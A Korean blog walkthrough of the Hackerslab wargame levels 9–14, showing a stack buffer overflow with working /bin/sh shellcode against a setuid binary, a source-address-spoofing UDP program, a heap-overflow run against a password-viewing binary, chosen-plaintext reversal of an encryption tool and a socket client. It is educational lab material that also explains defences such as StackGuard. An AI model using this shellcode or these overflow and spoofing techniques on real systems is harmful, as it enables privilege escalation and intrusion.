      file exist
      file exist
      file exist
      Congratulations !!! your race attack success ~
      level9 Password is xxxxxx
      file exist
      file exist
      Congratulations !!! your race attack success ~
      level9 Password is xxxxxx
      [level8@drill tmp]$

    10. 레벨9 -> 레벨10  패스워드

      <문제>
      바운드 체킹(Bound checking)을 하지 않아 발생하는 보안문제 입니다..

      <힌트>
      /etc/bof -> suid(user=level10, group=level9)

      <레벨업>
      이번 문제는 버퍼 오버플로우(Buffer based Overflow)를 이용한 해킹기법이다. 버퍼 오버플로우는 1988년 전 세계를 떠들석하게 만들었던 Morris Worm 사건에서의 finger daemon을 이용한 공격이 시초라고 말할 수 있다. 하지만 과거 이에 대한 기술적 지식이 부족했던터라 잘 알려지지 않았으나 1997년 Phrack 잡지 49호에 실린 Aleph"Smashing the Stack for Fun and Profit" /[한글판은 여기를 클릭..]이라는 기사에서 이 버퍼 오버플로우에 대한 자세한 원리와 제작 방법이 소개되면서 지금 까지도 많은 양의 버퍼 오버플로우 공격방법이 생겨나고 있다.

      그 원리는 메모리의 스택영역을 넘쳐흐르게 해서 리턴되는 주소지를 변경하여 원하는 임의의 명령어를 실행시키는 것이다.
      exploit 소스는 위의 "Smashing the Stack for Fun and Porfit"에 자세히 나와 있다.

      [level9@drill jkp]$cat > exploit4.c
      #include < stdlib.h>
      #define DEFAULT_OFFSET 0
      #define DEFAULT_BUFFER_SIZE 512
      #define DEFAULT_EGG_SIZE 2048
      #define NOP 0x90

      char shellcode[] =
          "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
          "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
          "\x80\xe8\xdc\xff\xff\xff/bin/sh";

      unsigned long get_esp(void) {
          __asm__("movl %esp,%eax");
      }

      void main(int argc, char *argv[]) {
          char *buff, *ptr, *egg;
          long *addr_ptr, addr;
          int offset=DEFAULT_OFFSET, bsize=DEFAULT_BUFFER_SIZE;
          int i, eggsize=DEFAULT_EGG_SIZE;

          if (argc > 1) bsize = atoi(argv[1]);
          if (argc > 2) offset = atoi(argv[2]);
          if (argc > 3) eggsize = atoi(argv[3]);

          if (!(buff = malloc(bsize))) {
              printf("Can't allocate memory.\n");
              exit(0);
          }

          .... 중략..

          memcpy(egg,"EGG=",4);
          putenv(egg);
          memcpy(buff,"RET=",4);
          putenv(buff);
          system("/bin/bash");
      }

      [level9@drill jkp]$cc -o exploit4 exploit4.c
      [level9@drill jkp]$ln -s /etc/bof
      [level9@drill jkp]$PATH=.:$PATH
      [level9@drill jkp]$exploit4 768
      Using address: 0xbffffd78
      [level9@drill jkp]$bof $RET
      hello~ x煊x煊x煊x煊x煊x煊x煊x煊x煊x煊x煊x煊x煊x煊x煊x煊x煊x煊x煊x煊x煊x煊x煊x煊x煊x
      煊x煊x煊x煊x煊x煊x煊x煊x煊x煊x煊x煊x煊x煊x煊x煊x煊x煊x煊x煊x煊x煊x煊x煊x煊x煊x煊x煊
      x煊x煊x煊x煊x煊x煊x煊x煊x煊x煊x煊x煊x煊x煊x煊x煊x煊x煊x煊x煊x煊x煊x煊x煊x煊x煊x煊x煊x
      웡웡웡웡웡웡웡웡웡웡웡웡웡웡웡웡웡웡웡웡웡웡웡웡웡웡웡?br> 煊x煊x煊x煊x煊x煊x煊x煊x煊x煊x煊x煊x煊x煊x煊x煊x煊x煊x煊x煊x煊x煊x煊x煊x煊x煊x煊x煊
      x煊x煊x煊x煊x煊x煊x煊x煊x煊x煊x煊x煊x煊x煊x煊x煊x煊x煊x煊x煊x煊x煊x煊x煊x煊x煊x煊x煊
      웡웡웡웡웡웡웡웡?
      bash$ pass
      --------------------------------------------------------------------------------------------
      --------------------------------------------------------------------------------------------
                  패스워드: xxxxxxxxxxxxxxxx
      --------------------------------------------------------------------------------------------
      bash$ exit
      [level9@drill jkp]$

    11. 레벨10 -> 레벨11  패스워드

      <문제>
      현재 해킹자유지대(FHZ:Free Hacking Zone) 서버에는 특정 데몬이 떠있다. 이 데몬은 UDP 5555번 포트를 이용하는데 www.hackerslab.org 호스트로부터 레벨10의 패스워드와 이메일 주소가 담긴 패킷이 오면 그 이메일 주소로 level11의 패스워드를 알려준다. 그 해당 포맷은 다음과 같다.
      'level10의 패스워드/email주소'
      ex) level10의 패스워드가 abcd이고 email 주소가 abc@aaa.ccc.ddd.rr 이라면 'abcd/abc@aaa.ccc.ddd.rr'
      반드시 www.hackerslab.org로 부터 패킷이 와야 성공할 수 있으니 주의하기 바란다.

      <힌트>

      <레벨업>
      이번 문제는 케빈 미트닉 vs 시모무라 사건으로 세상을 떠들썩하게 했던 IP spoofing을 이용한 해킹기법을 사용하는 문제이다.
      (IP spoofing을 이해하기 위해서는 TCP/IP에 대한 이해가 필요하다..공부를 좀 해보시길...)

      원래 IP 스푸핑이 이론적으로 가능하다는 주장은 1985년에 로버트 모리스에 의해서 제기되었으나('A Weakness in the 4.2 BSD UNIX TCP/IP Software' 라는 작은 논문) 케빈 미트닉(Kevin D. Mitnick)이라는 불쌍한(훌륭한??) 해커가 시모무라 스토무(Tsutomu Shimomura)라는 귀족 해커의 시스템에 침투할 때 사용함으로써 세상에 널리 알려지게 되었다.(얼마전 4년 이상 감금 상태에서 재판을 진행중이던 미트닉에 대하여 대법원이 벌금형으로 형을 확정하였다.)

      - 케빈 미트닉 지지자들의 공식 홈페이지 -
      http:www.kevinmitnick.com

      - 시모무라 스토무의 홈페이지 -
      http:www.takedown.com

      위의 시모무라 홈페이지에 가면 실제 미트닉이 공격을 했던 상황을 아주 자세히 정리를 해 놓았으며, 시뮬레이션도 보여준다. 참고로 지난 1997년 12월 9일 우리가 대통령 선거에 온 정신을 집중하고 있었을 때 미국에서 재미있는 일이 벌어졌다. 야후(Yahoo) 홈페이지가 일단의 해커 그룹으로 보이는 자들에게 해킹을 당하였는데 자신들을 PANTS/HAGIS라고( 하기스 팬츠를 거꾸로?) 소개하였다. 이들의 주장은 케빈 미트닉을 크리스마스 때까지(97년? 98년?) 석방하지 않으면 전 세계 네트워크가 논리 폭탄에 의해 감염될 것이라고 하였는데 그 이유는 지난 달(1997년 11월)에 야후를 방문해서 검색한 모든 사람들의 컴퓨터들이 자신들이 야후에 설치한 이 논리 폭탄에 감염되었기 때문이라고... 그리고 덧붙여 자신들의 목표는 세계를 지배하는 것이라고 하였다. 그리하여 이 논리 폭탄을 치료할 치료제는 남반구 어디엔가 숨겨 놓았으며 미트닉을 석방하면 알려주겠다고... - 믿거나 말거나..^_^ ----------
      당시 해킹당한 야후 홈페이지:http://www.onething.com/archive/yahoo/yahooo.htm

      한편, 미트닉 검거에 일조한 뉴욕 타임즈 죤 마르코프 기자에 대한 보복으로 케빈 미트닉을 지지하는 해커 그룹이 뉴욕 타임즈 홈페이지를 해킹하기도 했었다.
      당시 해킹당한 뉴욕타임즈 홈페이지:http://www.onething.com/archive/nyt/nyt.htm

      에고..이제 본론으로 들어가서..
      FHZ(Free Hacking Zone) 서버가 신뢰하는 호스트는 hackerslab 웹서버(www.hackerslab.org:203.239.110.1)이다. 즉, UDP 5555번 포트를 이용해 FHZ 서버에 떠 있는 데몬은 자신이 신뢰하는 호스트로부터 'level10의 패스워드/email 주소' 의 내용이 담긴 패킷이 오면..위에 적힌 email 주소로 레벨11의 패스워드를 알려주는 일을 하는 데몬이다.
      그러므로 우리는 위의 'level10패스/email주소'의 내용을 갖는 패킷의 발신지 주소를 203.239.110.1이 되도록(IP spoofing) 소켓 프로그래밍하여 drill 서버의 UDP 5555번 포트로 보내면 된다.

      이제 소켓 프로그램을 작성해보자..
      [bluesky@bluestar bluesky]$cat > socket.c
      #include < stdio.h>
      #include < stdlib.h>
      #include < errno.h>
      #include < string.h>
      #include < sys/types.h>
      #include < netinet/in.h>
      #include < sys/socket.h>
      #include < sys/wait.h>

      #define DEST_IP "203.239.110.20"
      #define DEST_PORT 5555

      main()
      {
          int sockfd;
          struct sockaddr_in dest_addr;
          char *msg = "level10's password/ingots@blue.nownuri.net";
          int len, bytes_sent;
          printf("\n###############################################\n");
          printf(" sent message : %s\n", msg);
          if ((sockfd = socket(AF_INET, SOCK_DGRAM, 0)) == -1)
          {
               perror("socket error!!!");
              exit(1);
          }
          dest_addr.sin_family = AF_INET;
          dest_addr.sin_port = htons(DEST_PORT);
          dest_addr.sin_addr.s_addr = inet_addr(DEST_IP);
          bzero(&(dest_addr.sin_zero), 8);
          printf(" dest address : %s\n", inet_ntoa(dest_addr.sin_addr));
          connect(sockfd, (struct sockaddr *)&dest_addr, sizeof(struct sockaddr));
          len = strlen(msg);
          bytes_sent = sendto(sockfd, msg, len, 0, (struct sockaddr *)&dest_addr,sizeof(struct sockaddr));
          printf(" sent bytes : %d\n", bytes_sent);
          printf("###############################################\n\n");
          close(sockfd);

      }
      ^D

      [bluesky@bluestar bluesky]$cc -o socket socket.c
      [bluesky@bluestar bluesky]$su
      Password:xxxxxxxx

      [IP aliasing... root 권한 필요...]
      [bluesky@bluestar bluesky]#ifconfig ppp0 203.239.110.1 up   <-- PPP 사용자인 경우(Real PPP)

      [bluesky@bluestar bluesky]./socket
      ###############################################
      sent message : level10's password/ingots@nownuri.net
      dest address : 203.239.110.20
      sent bytes : 35   <-- -1이면 정상적으로 전송되지 못하였거나 서버가..죽은 경우이다..
      ###############################################
      [bluesky@bluestar bluesky]$

      이제 메일이 오기를 기다리면 된다.. 패킷이 정상적으로 보내졌다면..메일은 바로 온다.
      drill 서버가 우리가 보낸 패킷이 www.hackerslab.org(203.239.110.1)에서 온 것처럼 수신했는가는 listener를 작성하여 drill에 띄워서 확인이 가능하다. 아래에 listener.c를 보기바란다..
      (이 listener.c를 drill에서 작성하여 컴파일 한후 띄워놓은 후 패킷을 보내 확인 할 수 있다.)

      [level10@drill tmp]$cat > listener.c
      #include < stdio.h>
      #include < stdlib.h>
      #include < errno.h>
      #include < string.h>
      #include < sys/types.h>
      #include < netinet/in.h>
      #include < sys/socket.h>
      #include < sys/wait.h>

      #define MYPORT 5555
      #define MAXBUFLEN 100

      main()
      {
          int sockfd;
          struct sockaddr_in my_addr; /* my address information */
          struct sockaddr_in their_addr; /* connector's address information */
          int addr_len, numbytes;
          char buf[MAXBUFLEN];

          if ((sockfd = socket(AF_INET, SOCK_DGRAM, 0)) == -1) {
              perror("socket");
              exit(1);
          }
          my_addr.sin_family = AF_INET; /* host byte order */
          my_addr.sin_port = htons(MYPORT); /* short, network byte order */
          my_addr.sin_addr.s_addr = INADDR_ANY; /* auto-fill with my IP */
          bzero(&(my_addr.sin_zero), 8); /* zero the rest of the struct */

          if (bind(sockfd, (struct sockaddr *)&my_addr, sizeof(struct sockaddr)) == -1) {
              perror("bind");
              exit(1);
          }

          addr_len = sizeof(struct sockaddr);
          if ((numbytes=recvfrom(sockfd, buf, MAXBUFLEN, 0, (struct sockaddr *)&their_addr, &addr_len)) == -1) {
              perror("recvfrom");
              exit(1);
          }

          printf("got packet from %s\n",inet_ntoa(their_addr.sin_addr));
          printf("packet is %d bytes long\n",numbytes);
          buf[numbytes] = '\0';
          printf("packet contains \"%s\"\n",buf);

          close(sockfd);
      }
      ^D

      [level10@drill tmp]$cc -o listener listener.c
      [level10@drill tmp]$./listener
      got packet from 203.239.110.1
      packet is 35 bytes
      packet contains level10's password/ingots@nownuri.net

      제대로 보냈다면..위와같이 표시될 것이다...

      SOCK_RAW를 이용해서 패킷속에 우리의 IP를 203.239.110.1이라고 써 넣은 방법은??
      그러면 위의 ifconfig 부분이 필요가 없을 듯도..좀더 공부를 해야..특특..



    12. 레벨11 -> 레벨12  패스워드

      <문제>
      /usr/local/bin/hof라는 프로그램은 /usr/local/bin/passwd.fail 화일을 보여준다. 하지만 우리가 원하는 파일은 /usr/local/bin/passwd.success 라는 파일로 그 파일에는 다음 레벨로 올라갈 수 있는 패스워드가 저장되어 있다. 힙 영역을 이용하면 가장 쉽게 가능하다.

      <힌트>

      <레벨업>
      이번 문제는 힙 오버플로우(Heap based Overflow)를 이용한 해킹방법이다. 레벨9에서 보았듯이..버퍼 오버플로우에 의한 해킹기법이 소개되면서 이를 이용한 많은 해킹이 일어나 문제가 발생하자..이에 대해 아래와 같은 해결책들이 나오게 되었다.


      - Stack based Overflow에 대한 해결책 -

      attacker가 버퍼 오버플로우에 의한 공격에 성공하기 위해서는 다음 세가지의 조건을 만족해야 한다.
      1. victim program's address space의 실행가능한(!!) 영역에 공격 code를 집어 넣어야 한다.
      2. buffer overflow 방법을 사용해서 적정한 code pointer의 값을 바꿔야 한다. code pointer로는 다음과 같은 것들이 사용될 수 있다.
      • return address in an activation record
      • function pointer
      • longjmp buffer
      3. victim program이 이 바뀐 code pointer를 실행시키길 기다린다.
      즉, 위의 조건들이 충족되지 않으면 공격은 실패하는 것이다. 그래서 이를 이용한 아래의 두가지 해결책이 나오게 되었다.

      1. The Mechanism of StackGuard
      StackGuard는 stack에 저장된 return address가 바뀌는 것을 감시한다. 이는 함수가 호출되면 return address뒤에 canary(밀고자) value를 set해주는데 함수가 return될 때 canary value가 바뀌어 있으면 stack smashing attack이 실행된 것으로 간주하고 syslog에 기록을 하고 프로그램을 정지 시킨다.
      이 과정이 효과적으로 진행되기 위해서는 attacker가 이 canary value를 미리 예측하고서 string에 끼워 넣는 것을 막아야 한다. 그래서 다음과 같은 technique을 사용한다.

      - Random canaries : 프로그램의 runtime 때마다 canary value를 바꿔 줘서, 이전에 실행시켜서 얻은 canary값을 다시 사용하지 못하게 한다.
      - Null canary : attacker가 그의 string에 0x00은 절대로 넣을 수 없다는 것을 이용한 방법이다.
      - Terminator canary : 대부분의 string operation이 NULL에서 끝나기는 하지만 NULL에서 끝나지 않는 몇몇 함수의 terminator value (i.e. 0xFF(-1))을 사용한다. 즉 NULL, CR, LF, -1 등을 조합해서 canary value를 만든다.

      StackGuard는 gcc code generator의 patch형태로 작용한다.
      function_prolog() -> function이 시작할 때 canary를 집어 넣는다.
      function_epilog() -> function이 return 될 때 canary를 확인한다.

      2. Secure Linux - Kernel patch
      대부분의 stack based overflow는 stack에 저장된 함수의 return address를 바꿔서 어떠한 임의의 코드 (이 역시 stack에 저장되어 있는) 를 실행시키는 방법을 사용한다. 만약 stack area가 non executable 하다면 buffer overflow는 더 힘들어 질 것이다. 즉 stack area를 non-executable하도록 patch해준다.

      또 다른 buffer overflow는 함수의 return address를 libc의 system()을 가리키도록 하는데 이 patch는 그러한 공유된 library내의 함수들의 default 값들을 항상 NULL값이 들어가도록 고쳤다. 따라서 위 NULL canary value와 같은 역할을 한다.


      위와 같은 버퍼 오버 플로우에 대한 해결책들이 나오자 이번에는 Heap based Overflow에 의한 해킹기법이 나오게 되었다.
      이에 대한 글은 w00w00 on Heap Overflows/  [한글판은 여기를 클릭..]을 보기 바란다..

      위의 글을 보면 heap overflow에 대한 자세한 설명과 소스가 있으므로 exploit 소스는 작성한 것으로 간주하고, 이제 drill에 접속해서 렙12의 패스워드를 얻는 과정을 보자.

      [level11@drill level11]$cd tmp
      [level11@drill tmp]$mkdir jkp
      [level11@drill tmp]$cd jkp
      [level11@drill jkp]$find / -user level12 -group level11 -print
      /usr/local/bin/hof
      [level11@drill jkp]$ls -l /usr/local/bin/hof
      -rws--x--- 1 level12 level11 924592 Aug 12 12:53 /usr/local/bin/hof
      [level11@drill jkp]$ln -s /usr/local/bin/hof hof
      [level11@drill jkp]$cat > exploit.c
      #include < stdio.h>
      #include < stdlib.h>
      #include < unistd.h>
      #include < string.h>

      #define BUFSIZE 256
      #define ERROR -1

      #define DIFF 16
      #define VULPROG "./hof"   <-- 공격대상 화일
      #define VULFILE "/usr/local/bin/passwd.success"   <--/*the file 'buf' will be stored in */

      u_long getesp()
      {
      __asm__("movl %esp,%eax");
      }

      int main(int argc, char **argv)
      {
      u_long addr;
      ...... 중략..
      ......
      ^D

      [level11@drill jkp]$cc -o exploit exploit.c
      [level11@drill jkp]$ ls -l
      total 17
      -rwxrwxr-x 1 level11 level11 13367 Jan 12 05:02 exploit
      -rw-rw-r-- 1 level11 level11 1716 Jan 12 05:02 exploit.c
      lrwxrwxrwx 1 level11 level11 18 Jan 12 05:00 hof -> /usr/local/bin/hof

      [level11@drill jkp]$./hof
      level11's Password : xxxxxxxxxxxxxxxxx
      Segmentation fault

      [level11@drill jkp]$ ./exploit 364
      Overflowing tmpaddr to point to 0xbffffecc, check /usr/local/bin/passwd.success after.

      level11's Password :
      view_file = ./hof
      ELF

      [level11@drill jkp]$ ./exploit 365
      Overflowing tmpaddr to point to 0xbffffecd, check /usr/local/bin/passwd.success after.

      level11's Password :
      view_file = /hof
      error opening /hof: No such file or directory

      [level11@drill jkp]$ ./exploit 366
      Overflowing tmpaddr to point to 0xbffffece, check /usr/local/bin/passwd.success after.

      level11's Password :
      view_file = hof
      ELF

      [level11@drill jkp]$ ./exploit 369
      Overflowing tmpaddr to point to 0xbffffed1, check /usr/local/bin/passwd.success after.

      level11's Password :
      view_file =
      error opening : No such file or directory

      [level11@drill jkp]$ ./exploit 370
      Overflowing tmpaddr to point to 0xbffffed2, check /usr/local/bin/passwd.success after.

      level11's Password :
      view_file = /usr/local/bin/passwd.success

      패스워드 : x xxxx xx xxxx forever

      [level11@drill jkp]$ ./exploit 371
      Overflowing tmpaddr to point to 0xbffffed3, check /usr/local/bin/passwd.success after.

      level11's Password :
      view_file = usr/local/bin/passwd.success
      error opening usr/local/bin/passwd.success: No such file or directory

      [level11@drill jkp]$ ./exploit 372
      Overflowing tmpaddr to point to 0xbfffed4, check /usr/local/bin/passwd.success after.

      level11's Password :
      view_file = sr/local/bin/passwd.success
      error opening sr/local/bin/passwd.success: No such file or directory


    13. 레벨12 -> 레벨13  패스워드

      <문제>
      여러분의 hope 뛰어난 능력의 소유자인 서군은 해커스랩 관리자들이 level13으로 로긴할 때 sniffer를 돌려 통신 내용을 캡쳐하였다. 그러나 관리자들은 직접 고안한 알고리즘으로 비밀 통신을 하고 있어서 도무지 레벨13의 실제 패스워드가 무엇인지는 알 수 없었다. (그 level13의 패스워드는 tu|tSI/Z^로 암호화 되어 있었다.)
      불행중 다행으로 서군은 시스템을 뒤지던 중 관리자들이 암호화 할 때 쓰는 툴이 /usr/bin/encrypt 에 있음을 발견하였다. 여러분은 서군이 발견한 encrypt를 테스트하여 암호화 알고리즘을 분석한 뒤 해독 알고리즘을 구현하여 level13의 실제 패스워드를 알아내시오

      <힌트>

      <레벨업>
      이번 문제는 지금까지 해온 SUID나 race condition/buffer overflow/heap overflow/IP spoofing 등과는 관계가 없다..
      암호화하는 툴인 encrypt를 여러가지로 테스트 해서 tu|tSI/Z^로 암호화 되는 문자를 역추적하는 문제이다..encrypt 툴의 알고리즘을 완벽하게 분석하여 해독 알고리즘을 구현하여 푸는 문제이지만, 해독 알고리즘까지 구현하는 것은 나중에 각자 해보도록 하자..

      [level12@drill tmp]$find / -user level13 -group level12 -print
      /usr/bin/encrypt
      [level12@drill tmp]$ls -l /usr/bin/encrypt
      -rwxr-x--- 1 level13 level12 13781 Aug 10 15:15 /usr/bin/encrypt  <-- suid 비트가 없다.
      [level12@drill tmp]$ln -s /usr/bin/encrypt enc

      [level12@drill tmp]$./enc aaaaaaaaa
      encrypted character: 'GGGBBB-SS'
      [level12@drill tmp]$./enc aaa1aaaaa
      encrypted character:'tGGBBB-SS'
      [level12@drill tmp]$./enc aaaa2aaaa
      encrypted character: 'GuGBBB-SS'
      [level12@drill tmp]$./enc aaaaa9aaa
      encrypted character: 'GG|BBB-SS'
      [level12@drill tmp]$./enc aaa129aaa
      encrypted character: 'tu|BBB-SS'

      [level12@drill tmp]$./enc caa129aaa
      encrypted character: 'tu|BBB/SS'
      [level12@drill tmp]$./enc cha129aaa
      encrypted character: 'tu|BBB/ZS'
      [level12@drill tmp]$./enc chl129aaa
      encrypted character: 'tu|BBB/Z^'
      [level12@drill tmp]$./enc chl129aaa
      encrypted character: 'tu|BBB/Z^'

      [level12@drill tmp]$
      .....
      .....
      [level12@drill tmp]$./enc xxxxxxxxx
      encrypted character: 'tu|tSI/Z^'

      ^_^..

    14. 레벨13 -> 레벨14  패스워드

      <문제>
      레벨14 문제
      이번 문제는 TCP/IP Networking을 이용해 통신을 할 수 있는가 하는 능력과..약간의 수학적 지식을 이용하는 문제입니다.. 자세한 문제설명을 위에 있구요..

      <힌트>

      <레벨업>
      TCP/IP Networking을 이용한 통신은 레벨10에서 어느정도 내용을 아셨을 겁니다..이번 레벨에서는 그걸 조금더 확장하는 문제입니다..(소켓 프로그래밍..을 자세히 읽어보세요..) drill 서버 2994 포트로 접속해서..문제를 받고 정답을 구해서..서버로 보내고..이런 과정을 세번 연속해서 맞추면 서버로부터 렙14의 패스워드가 옵니다..아래는 제가 작성한 client 프로그램입니다..아직 TCP/IP 프로그래밍을 많이 모르긴 하지만 참고하세요..

      [bluesky@bluestar bluesky]$cat > client.c
      #include < stdio.h>
      #include < stdlib.h>
      #include < errno.h>
      #include < string.h>
      #include < sys/types.h>
      #include < netinet/in.h>
      #include < sys/socket.h>
      #include < sys/wait.h>
      #include "proto.h"

      #define DEST_IP "203.239.110.20"
      #define DEST_PORT 2994
      #define BACKLOG 10

      main()
      {
           int i = 1, j = 1;
           int sockfd, new_fd;
           int len, bytes_sent, bytes_recv;
           struct sockaddr_in dest_addr;
           struct query_type qu;
           struct reply_type re;

           if ((sockfd = socket(AF_INET, SOCK_STREAM, 0)) == -1)
           {
                perror("socket error!!!");
                exit(1);
           }

          .... 중략 ..

           if (connect(sockfd, (struct sockaddr *)&dest_addr, sizeof(struct sockaddr)) == -1) {
                perror("connect error!!!");
                exit(1);
           }
           printf(" 서버(%s: port 2994)에 연결이 되었습니다...\n", inet_ntoa(dest_addr.sin_addr));

           for (i=1; i<=3; i++) {
                if(!fork()) {   /* this is the child process */
                    if ((bytes_recv = recv(sockfd, &qu, sizeof(qu), 0)) == -1) {
                          perror("recv error!!!");
                          exit(1);
                    }

                    printf(" Received query(query_a) : %d\n", qu.query_a);
                    printf(" Received query(query_b) : %d\n", qu.query_b);
                    printf(" Received query(next_pass): (%d)%s\n", qu.flag, qu.next_pass);

                    strcpy(re.current_pass, "chl1296rh");

                    /* 서버로 부터받은 query_a/b를 dist로 넘겨 답을 구한후 re.answer로 */
                    re.answer = dist(qu.query_a, qu.query_b);
                    if ((bytes_sent = send(sockfd, &re, sizeof(re), 0)) == -1) {
                          perror("sendto error!!!");
                          exit(1);
                    }
                }
           }
           close(sockfd);
      }

      int dist( int a, int b)
      {
      .....
      .....
      ^D
      [bluesky@bluestar bluesky]$

      수학문제 알고리즘 및 dist( )함수는 이곳을 참고하세요..알고리즘에 약간의 문제가 있어서..client를 여러번 시도해야 연속 세번을 맞추네여..^_^ 시간날 때 제대로 고쳐야져..다른 알고리즘을 생각해 보던가..특특...
      다른 알고리즘..(이건 다른분이 하신겁니다..)

      [bluesky@bluestar bluesky]$cc -o client client.c
      [bluesky@bluestar bluesky]$su
      Password:xxxxxxxx
      [bluesky@bluestar bluesky]#./client
      서버(203.239.110.20: port 2994)에 연결이 되었습니다...
      Received query(query_a) : 8381
      Received query(query_b) : 8898
      Received query(next_pass): (query_flag:0)
      최단거리(8898~8381=>8381~8587) = 107

      Received query(query_a) : 1491
      Received query(query_b) : 625
      Received query(next_pass): (query_flag:0)
      최단거리(1491~625=>617~625) = 16

      Received query(query_a) : 2000
      Received query(query_b) : 4343
      Received query(next_pass): (query_flag:0)
      최단거리(4343~2000=>2000~2029) = 41

      Received query(query_a) : 0
      Received query(query_b) : 0
      Received query(next_pass): (query_flag:1)Hxxxxxxxxxxxx
      최단거리(0~0) = 0
      [bluesky@bluestar bluesky]#

    15. 레벨14 -> 레벨15  패스워드

      <문제>
      아직 안나오네요...조금만 더 기다려 주세엽..

      <힌트>

      <레벨업>

반응형
Posted by seongsland